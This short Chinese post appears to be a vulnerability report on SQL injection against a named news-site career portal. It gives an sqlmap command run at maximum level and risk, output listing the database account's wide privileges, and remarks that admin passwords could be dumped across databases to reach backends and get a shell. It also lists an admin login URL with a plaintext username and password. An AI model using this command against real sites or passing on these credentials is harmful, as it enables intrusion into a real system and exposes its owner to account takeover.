sqlmap.py -r test.txt -p J_G --threads=10 --level=5 --risk=3 --tech=best --dbs
注入点权限很大
[*] %www% (administrator) [28]:
privilege: ALTER
privilege: ALTER ROUTINE
privilege: CREATE
……
弱弱地问一声,www跟root用户相比,权限上有区别么:()
由于可跨库,如果有耐心,也可逐一跑出各库的管理员密码,逐一进后台,getshell什么的应该不是难事。比如
http://career.chinadaily.com.cn/admin/login.shtml 已废弃网站
用户admin
密码admin2009
未作进一步尝试了。